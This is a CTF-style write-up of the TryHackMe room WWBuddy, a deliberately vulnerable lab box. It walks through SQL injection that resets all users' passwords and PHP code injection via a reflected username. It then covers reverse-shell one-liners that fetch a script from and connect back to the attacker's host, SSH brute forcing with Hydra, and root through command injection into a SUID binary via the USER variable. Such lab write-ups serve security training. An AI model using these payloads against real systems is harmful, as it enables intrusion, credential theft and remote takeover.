WWBuddy TryHackMe Write Up
Room Link : https://tryhackme.com/room/wwbuddy
WWBuddy is a medium rated TryHackMe room by Termack. Second order SQL injection combined with unsanitized user input and reflection of the unsanitized user input on the PHP file gives us a reverse shell on the box as user www-data. On the box, we get the creds for user roberto in the log files and creds for user jenny was bruteforced using hydra. SUID binary was reversed with ghidra and exploited to get the root shell on the box.
Port Scan
All Port
local@local:~/Documents/tryhackme/wwbuddy$ nmap -p- --min-rate 10000 -oN nmap/allports -v 10.10.108.50
Nmap scan report for 10.10.108.50
Host is up (0.33s latency).
Not shown: 63859 closed ports, 1674 filtered ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Detailed Scan
local@local:~/Documents/tryhackme/wwbuddy$ nmap -sC -sV -oN nmap/initial -v 10.10.108.50
Nmap scan report for 10.10.108.50
Host is up (0.36s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 66:75:21:b4:93:4a:a5:a7:df:f4:01:80:19:cf:ff:ad (RSA)
| 256 a6:dd:30:3b:e4:96:ba:ab:5f:04:3b:9e:9e:92:b7:c0 (ECDSA)
|_ 256 04:22:f0:d2:b0:34:45:d4:e5:4d:ad:a2:7d:cd:00:41 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-title: Login
|_Requested resource was http://10.10.108.50/login/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Nov 5 22:17:05 2020 -- 1 IP address (1 host up) scanned in 45.60 seconds
Port 80
It presented us with a login page. I tried few common creds like admin:admin
and admin:password
.
admin:admin
wwbuddy:wwbuddy
With wwbuddy:wwbuddy
, we get a different response. That means there is a user called wwbuddy on the webserver. Using this way we can bruteforce the valid users on the webserver if we have to.
Also the tag on the box has SQLI, so I capture the request using burp and ran it with SQLMap but the SQLMap did not give anything.
Sign Up
As there is an option for signing up, lets sign up.
I signed up with admin:password
.
Logging in
Looking at the homepage,we can say this is an app for chatting with friends and also we can see that wwbuddy is already on our chat list as it might be the bot.
Checking WWBuddy on chat
As I was manually exploring the webapp, I ran a gobuster to find out potential hidden directories and files.
Directory and file brute force
local@local:~/Documents/tryhackme/wwbuddy$ gobuster dir -u http://10.10.251.213/admin/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php -t 50
/images (Status: 301)
/register (Status: 301)
/profile (Status: 301)
/login (Status: 301)
/admin (Status: 301)
/chat.php (Status: 200)
/js (Status: 301)
/api (Status: 301)
/logout.php (Status: 302)
/config.php (Status: 200)
/styles (Status: 301)
/change (Status: 301)
Visiting /admin
Looks like we have to admin user to access this directory. I also ran gobuster on this dir but did not get anything.
I tested almost every user input to check whether the webapp was vulnerable to SQL injection but I had no luck. So I started playing with the functionality and different parameters on the webapp.
Edit Info
Parameters on edit info does not seem to be vulnerable to SQL injection but there are no any checks involved with the username parameter. That means we can name our username anything we want, such as admin' or 1=1 --
and if this username parameter is used anywhere on the backend for cetain purpose, we maybe be able to execute the random queries on the MYSQL server.
Change Password
We can change the password for the current user. So, for the backend to know whose password is to be changed, it must use some SQL queries which might involve the username parameter. Well, we don’t know for sure that it involves the username parameter as the developer might also have used parameters like id which might be the primary key on the database. But it is worth a try and if the username parameter is involved while this password changing process, it is highly likely that all of the users password will be changed.
Hypothesis
select <something> from <something> where username = 'admin' or 1 = 1 -- -'
Then this will return every user on the database. Then there might be password checks if the entered password is equal to current password, and after the successful password check, the password is updated and while updating the password, password of all users will change.
Changing the password from password to password1
And the password is successfully changed. Lets try to login with user wwbuddy, which is a valid account and also might have list of all the users on the webserver as it is a default friend to all the user’s account.
Loggin with wwbuddy
And with wwbuddy:password1, we log in.
Looking at the chat list, we find two new users. ie Henry and Roberto.
Accessing /admin with wwbuddy
Even with wwbuddy we can not access /admin.
Loggin with henry
There is an interesting conversation between Henry and Roberto. They are talking about the default login credentials for new users which is the birthdate and also talking about a new girl joining their company. So, if we know the username of this girl, and her birth date we could guess her SSH password.
This case might come handy or it might not, but its good to know the default pattern.
Checking the birthdate format on edit info page
The birthdate is in the format mm/dd/yyyy
.
Checking /admin with user henry
One interesting thing about this page is that the field username which has no input sanitization is directly reflected. So now we can create a username with <?php system('id') ?>
and can get code execution on the server.
Changing the username
Accessing /admin with this user
local@local:~/Documents/tryhackme/wwbuddy$ curl -H 'Cookie: PHPSESSID=be5injo6o0mbgsfssejddqq8d8' http://10.10.39.232/admin/
You dont have permissions to access this file, this incident will be reported.
Accessing /admin with Henry
local@local:~/Documents/tryhackme/wwbuddy$ curl -H 'Cookie: PHPSESSID=40msliho8kqgvm0tlcci4kcqi0' http://10.10.39.232/admin/
Hey Henry, i didn't made the admin functions for this page yet, but at least you can see who's trying to sniff into our site here.<br>
<!--THM{d0nt_***_4n***ng_f**y} -->
192.168.0.139 2020-07-24 22:54:34 WWBuddy fc18e5f4aa09bbbb7fdedf5e277dda00 <br>
192.168.0.139 2020-07-24 22:56:09 Roberto b5ea6181006480438019e76f8100249e <br>
10.6.31.213 2020-11-08 10:37:09 admin 75f1edc5388e8a88a232fd0a0432173f <br>
10.6.31.213 2020-11-08 11:19:42 WWBuddy fc18e5f4aa09bbbb7fdedf5e277dda00 <br>
10.6.31.213 2020-11-08 11:29:48 <br>
10.6.31.213 2020-11-08 11:32:12 <br>
10.6.31.213 2020-11-08 11:35:16 uid=33(www-data) gid=33(www-data) groups=33(www-data)
75f1edc5388e8a88a232fd0a0432173f <br>
We get code execution and get our first flag.
Using <?php system($_GET['cmd']) ?>
gave an error for some reason, so I created a file called shell.sh on my box with reverse shell payload, opened up an http server using python and fetched the file first and executed on the second time as there was a limit on how long the username should be.
Reverse shell as www-data
Content of shell.sh
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.6.31.213 9001 >/tmp/f
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.6.31.213",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.6.31.213",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
bash -i >& /dev/tcp/10.6.31.213/9001 0>&1
Opening up an HTTP Server
local@local:~/Documents/tryhackme/wwbuddy$ sudo python3 -m http.server 80
[sudo] password for local:
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Changing the username
Username Used <?php system('wget 10.6.31.213/shell.sh') ?>
Accessing /admin from low priv user for triggering
local@local:~/Documents/tryhackme/wwbuddy$ curl -H 'Cookie: PHPSESSID=be5injo6o0mbgsfssejddqq8d8' http://10.10.39.232/admin/
You dont have permissions to access this file, this incident will be reported.
Accessing /admin from admin’s account
local@local:~/Documents/tryhackme/wwbuddy$ curl -H 'Cookie: PHPSESSID=40msliho8kqgvm0tlcci4kcqi0' http://10.10.39.232/admin/
.....
.....
10.6.31.213 2020-11-08 11:35:16 uid=33(www-data) gid=33(www-data) groups=33(www-data)
75f1edc5388e8a88a232fd0a0432173f <br>
10.6.31.213 2020-11-08 11:43:51 75f1edc5388e8a88a232fd0a0432173f <br>
And looking at the webserver, we got a hit.
local@local:~/Documents/tryhackme/wwbuddy$ sudo python3 -m http.server 80
[sudo] password for local:
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.39.232 - - [08/Nov/2020 17:29:23] "GET /shell.sh HTTP/1.1" 200 -
Changing the name
Now we have to change the name so that we can execute the shell.sh file on the webserver.
Name used : <?php system('/bin/bash shell.sh') ?>
Accessing /admin from low priv user
local@local:~/Documents/tryhackme/wwbuddy$ curl -H 'Cookie: PHPSESSID=be5injo6o0mbgsfssejddqq8d8' http://10.10.39.232/admin/
You dont have permissions to access this file, this incident will be reported.
Listening on our box
local@local:~/Documents/tryhackme/wwbuddy$ nc -nvlp 9001
Listening on 0.0.0.0 9001
Accessing /admin from admin’s account
local@local:~/Documents/tryhackme/wwbuddy$ curl -H 'Cookie: PHPSESSID=40msliho8kqgvm0tlcci4kcqi0' http://10.10.39.232/admin/
We don’t get any output here but if we check the netcat listener we get a reverse shell back.
local@local:~/Documents/tryhackme/wwbuddy$ nc -nvlp 9001
Listening on 0.0.0.0 9001
Connection received on 10.10.39.232 54588
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Getting a proper TTY
Now lets get a proper shell with auto completion.
$ python3 -c "import pty;pty.spawn('/bin/bash')"
Hit CRTL+z to background the current process and on local box type
local@local:~/Documents/tryhackme/wwbuddy$ stty raw -echo
and type fg and hit enter twice and on the reverse shell export the TERM as xterm.
www-data@wwbuddy:/var/www/html/admin$ export TERM=xterm
Privilege Escalation
Users with shell
www-data@wwbuddy:/var/www/html/admin$ cat /etc/passwd | grep -i sh | grep -v sshd
root:x:0:0:root:/root:/bin/bash
wwbuddy:x:1000:1000:WWBuddy:/home/wwbuddy:/bin/bash
roberto:x:1001:1001::/home/roberto:/bin/sh
jenny:x:1002:1002::/home/jenny:/bin/sh
There are 4 users on the box who have a login shell, one being root and other are wwbuddy,jenny and roberto. As jenny is the new member of the company, her password might still be her birthdate but we dont know her birthdate for now.
Reading log files
www-data@wwbuddy:/var/log$ grep -Ri password 2>/dev/null mysql/general.log:2020-07-25T14:41:25.299556Z 8 Connect Access denied for user 'root'@'localhost' (using password: YES)
mysql/general.log:2020-07-25T14:41:25.309467Z 9 Connect Access denied for user 'root'@'localhost' (using password: YES)
mysql/general.log:2020-07-25T14:41:25.317916Z 10 Connect Access denied for user 'root'@'localhost' (using password: NO)
mysql/general.log:2020-07-25T15:01:40.143115Z 12 Prepare SELECT id, username, password FROM users WHERE username = ?
mysql/general.log:2020-07-25T15:01:40.143760Z 12 Execute SELECT id, username, password FROM users WHERE username = 'RobertoyVno*****68wf' mysql/general.log:2020-07-25T15:02:00.018975Z 13 Prepare SELECT id, username, password FROM users WHERE username = ?
mysql/general.log:2020-07-25T15:02:00.019056Z 13 Execute SELECT id, username, password FROM users WHERE username = 'Roberto'
installer/installer-journal.txt:Jul 24 19:13:35 ubuntu-server systemd[1]: Started Forward Password Requests to Wall Directory Watch.
installer/installer-journal.txt:Jul 24 19:13:36 ubuntu-server systemd[1]: Started Dispatch Password Requests to Console Directory Watch.
installer/installer-journal.txt:Jul 24 19:19:40 ubuntu-server usermod[13715]: change user 'sshd' password installer/installer-journal.txt:Jul 24 19:19:41 ubuntu-server chage[13720]: changed password expiry for sshd
........................
........................
There is a particular entry which looks like username:password combination as user might have mistakenly typed out password on username field.
‘RobertoyVno**8wf’
This info could also be found from result of linpeas as it looks for the potential passwords inside log files.
Trying to login as roberto
www-data@wwbuddy:/var/log$ su roberto
Password:
$ id
uid=1001(roberto) gid=1001(roberto) groups=1001(roberto),200(developer)
And we login as roberto.
On Roberto home directory
roberto@wwbuddy:~$ ls -la
total 32
drwx------ 4 roberto roberto 4096 Nov 8 12:06 .
drwxr-xr-x 5 root root 4096 Jul 28 17:49 ..
-rw------- 1 roberto roberto 0 Jul 28 04:20 .bash_history
-rw-r--r-- 1 roberto roberto 220 Apr 4 2018 .bash_logout
-rw-r--r-- 1 roberto roberto 3771 Apr 4 2018 .bashrc
drwx------ 3 roberto roberto 4096 Nov 8 12:06 .gnupg
-rw-rw-r-- 1 roberto roberto 246 Jul 27 21:25 importante.txt
drwxrwxr-x 3 roberto roberto 4096 Jul 27 21:07 .local
-rw-r--r-- 1 roberto roberto 807 Apr 4 2018 .profile
Content of importante.txt
roberto@wwbuddy:~$ cat importante.txt
A Jenny vai ficar muito feliz quando ela descobrir que foi contratada :DD
Não esquecer que semana que vem ela faz 26 anos, quando ela ver o presente que eu comprei pra ela, talvez ela até anima de ir em um encontro comigo.
THM{g***0_d+_k***}
We get another flag and some message which seems to be on spanish.
Tranlation
Now we know that Jenny is turning 26 next week.
Information of file importante.txt
roberto@wwbuddy:~$ stat importante.txt
File: importante.txt
Size: 246 Blocks: 8 IO Block: 4096 regular file
Device: ca02h/51714d Inode: 402577 Links: 1
Access: (0664/-rw-rw-r--) Uid: ( 1001/ roberto) Gid: ( 1001/ roberto)
Access: 2020-11-08 12:07:42.220000000 +0000
Modify: 2020-07-27 21:25:48.544379536 +0000
Change: 2020-07-27 21:25:48.544379536 +0000
Birth: -
The file was created on 2020-07-27. So lets create a wordlist to bruteforce jenny’s password. Earlier the birthday on the webapp was in the format mm/dd/yyyy, so created the wordlist accordingly.
Content of wordlist
local@local:~/Documents/tryhackme/wwbuddy$ cat wordlist
08/01/1994
08/02/1994
08/03/1994
08/04/1994
08/05/1994
08/06/1994
08/07/1994
08/08/1994
08/09/1994
08/10/1994
07/28/1994
07/29/1994
07/30/1994
07/31/1994
07/32/1994
08/11/1994
08/01/1995
08/02/1995
08/03/1995
08/04/1995
08/05/1995
08/06/1995
08/07/1995
08/08/1995
08/09/1995
08/10/1995
08/11/1995
07/28/1995
07/29/1995
07/30/1995
07/31/1995
07/32/1995
Using hydra to bruteforce SSH password
local@local:~/Documents/tryhackme/wwbuddy$ hydra -l jenny -P wordlist ssh://10.10.39.232 -I
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-11-08 17:58:28
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 32 login tries (l:1/p:32), ~2 tries per task
[DATA] attacking ssh://10.10.39.232:22/
[22][ssh] host: 10.10.39.232 login: jenny password: **/**/199*
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-11-08 17:58:36
local@local:~/Documents/tryhackme/wwbuddy$
And we get a hit.
Shell as jenny
local@local:~/Documents/tryhackme/wwbuddy$ ssh jenny@10.10.39.232
jenny@10.10.39.232's password:
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-112-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Sun Nov 8 12:14:54 UTC 2020
System load: 0.02 Processes: 111
Usage of /: 44.1% of 9.78GB Users logged in: 0
Memory usage: 77% IP address for eth0: 10.10.39.232
Swap usage: 0%
53 packages can be updated.
0 updates are security updates.
$
Listing all SUID binaries
jenny@wwbuddy:~$ find / -type f -perm -4000 -ls 2>/dev/null
66 40 -rwsr-xr-x 1 root root 40152 Oct 10 2019 /snap/core/8268/bin/mount
80 44 -rwsr-xr-x 1 root root 44168 May 7 2014 /snap/core/8268/bin/ping
81 44 -rwsr-xr-x 1 root root 44680 May 7 2014 /snap/core/8268/bin/ping6
98 40 -rwsr-xr-x 1 root root 40128 Mar 25 2019 /snap/core/8268/bin/su
116 27 -rwsr-xr-x 1 root root 27608 Oct 10 2019 /snap/core/8268/bin/umount
...........
...........
267949 12 -rwsr-xr-x 1 root root 8584 Jul 28 03:54 /bin/authenticate
........
........
And I found a non standard binary ie /bin/authenticate.
Executing the binary as jenny
jenny@wwbuddy:~$ id
uid=1002(jenny) gid=1002(jenny) groups=1002(jenny)
jenny@wwbuddy:~$ /bin/authenticate
Group updated
$ id
uid=1002(jenny) gid=200(developer) groups=200(developer),1002(jenny)
What it did was, added jenny to group developer.
Executing the binary as roberto
roberto@wwbuddy:~$ id
uid=1001(roberto) gid=1001(roberto) groups=1001(roberto),200(developer)
roberto@wwbuddy:~$ /bin/authenticate
roberto developer
You are already a developer.
Since roberto was already in developer group, nothing seems to be happening. Since this is an intersting binary, lets download this on our local box and analayse with ghidra.
Downloading Binary to local box
local@local:~/Documents/tryhackme/wwbuddy$ scp roberto@10.10.39.232:/bin/authenticate authenticate
roberto@10.10.39.232's password:
authenticate 100% 8584 22.8KB/s 00:00
local@local:~/Documents/tryhackme/wwbuddy$ ls -la authenticate
-rwxr-xr-x 1 local local 8584 Nov 8 18:06 authenticate
Binary analysis with Ghidra
undefined8 main(void)
{
__uid_t __uid;
int iVar1;
char *__src;
long in_FS_OFFSET;
undefined8 local_48;
undefined8 local_40;
undefined8 local_38;
undefined8 local_30;
undefined8 local_28;
undefined4 local_20;
undefined local_1c;
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
__uid = getuid();
if ((int)__uid < 1000) {
puts("You need to be a real user to be authenticated.");
}
else {
iVar1 = system("groups | grep developer");
if (iVar1 == 0) {
puts("You are already a developer.");
}
else {
__src = getenv("USER"); # USER is obtained from env
__uid = getuid();
setuid(0);
local_48 = 0x20646f6d72657375; # "usermod "
local_40 = 0x6c6576656420472d; # "-G devel"
local_38 = 0x207265706f; # "oper \x00\x00\x00"
local_30 = 0;
local_28 = 0;
local_20 = 0;
local_1c = 0;
strncat((char *)&local_48,__src,0x14); # USER is concatenated
system((char *)&local_48); # system call is made
puts("Group updated");
setuid(__uid);
system("newgrp developer");
}
}
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return 0;
}
Looking at code, if the user is already developer, nothing is done. But if the user is not in developer group, value of variable USER is obtained with is user controllable value, which is concatenated and passed to the system call, which means we can execute any command as we want with the root privileges .
Executing commands as root user
jenny@wwbuddy:~$ id
uid=1002(jenny) gid=1002(jenny) groups=1002(jenny)
jenny@wwbuddy:~$ export USER=';id;'
jenny@wwbuddy:~$ /bin/authenticate
Usage: usermod [options] LOGIN
Options:
-c, --comment COMMENT new value of the GECOS field
-d, --home HOME_DIR new home directory for the user account
-e, --expiredate EXPIRE_DATE set account expiration date to EXPIRE_DATE
-f, --inactive INACTIVE set password inactive after expiration
to INACTIVE
-g, --gid GROUP force use GROUP as new primary group
-G, --groups GROUPS new list of supplementary GROUPS
-a, --append append the user to the supplemental GROUPS
mentioned by the -G option without removing
him/her from other groups
-h, --help display this help message and exit
-l, --login NEW_LOGIN new value of the login name
-L, --lock lock the user account
-m, --move-home move contents of the home directory to the
new location (use only with -d)
-o, --non-unique allow using duplicate (non-unique) UID
-p, --password PASSWORD use encrypted password for the new password
-R, --root CHROOT_DIR directory to chroot into
-s, --shell SHELL new login shell for the user account
-u, --uid UID new UID for the user account
-U, --unlock unlock the user account
-v, --add-subuids FIRST-LAST add range of subordinate uids
-V, --del-subuids FIRST-LAST remove range of subordinate uids
-w, --add-subgids FIRST-LAST add range of subordinate gids
-W, --del-subgids FIRST-LAST remove range of subordinate gids
-Z, --selinux-user SEUSER new SELinux user mapping for the user account
uid=0(root) gid=1002(jenny) groups=1002(jenny)
Group updated
$
Here we exported the value of USER to be ;id;
where the first ; closes the first usermod command which throws an error and then after id is run which tells us we are root.
Getting a root shell
$ exit
jenny@wwbuddy:~$ id
uid=1002(jenny) gid=1002(jenny) groups=1002(jenny)
jenny@wwbuddy:~$ export USER=';chmod 4755 /bin/bash;'
jenny@wwbuddy:~$ /bin/authenticate
chmod: cannot access '/bin/bas': No such file or directory
Here looks like we have a limitation on the number of letters.
jenny@wwbuddy:~$ export USER=';cp /bin/bash /a;'
jenny@wwbuddy:~$ /bin/authenticate
Group updated
This time we do not get any error. And if we check if for the file, it exists and own by root.
jenny@wwbuddy:~$ ls -la /a
-rwxr-xr-x 1 root jenny 1113504 Nov 8 12:32 /a
Now lets change the file permission of this file.
jenny@wwbuddy:~$ export USER=';chmod 4755 /a;'
jenny@wwbuddy:~$ /bin/authenticate
Group updated
$
Checking the file permission
jenny@wwbuddy:~$ ls -la /a
-rwsr-xr-x 1 root jenny 1113504 Nov 8 12:32 /a
The newly created binary is owned by root and has SUID bit set. The only thing left for us is to execute it.
jenny@wwbuddy:~$ /a -p
a-4.4# id
uid=1002(jenny) gid=1002(jenny) euid=0(root) groups=1002(jenny)
And we are root.
Reading root.txt
a-4.4# cat /root/root.txt
THM{ch***g3_th3_3nv*****nt}